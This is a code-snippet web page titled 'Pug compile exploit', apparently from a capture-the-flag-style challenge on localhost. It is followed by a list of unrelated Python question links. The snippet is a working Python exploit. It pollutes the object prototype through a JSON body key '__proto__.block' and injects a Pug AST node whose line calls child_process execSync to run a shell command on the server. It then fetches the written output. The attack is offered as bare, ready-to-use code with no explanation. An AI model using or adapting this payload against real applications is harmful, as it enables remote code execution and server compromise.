Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote209 views1 answer
Mysql store numpy array
Python
48 votes216 views6 answers
Remove python
Python
6 votes180 views3 answers
Python create environment linux
Python
0 vote211 views1 answer
Conda python-telegram-bot
Python
0 vote163 views2 answers
Python simple project
Python
33 votes173 views4 answers
Sort and reverse list in python
Python
2 votes196 views1 answer
Python how to get number of strings in a list
Python
11 votes200 views6 answers
Python list
Python
0 vote210 views1 answer
How to use annoy python
Python
0 vote201 views1 answer
How to get parent model object based on child model filter in django
Python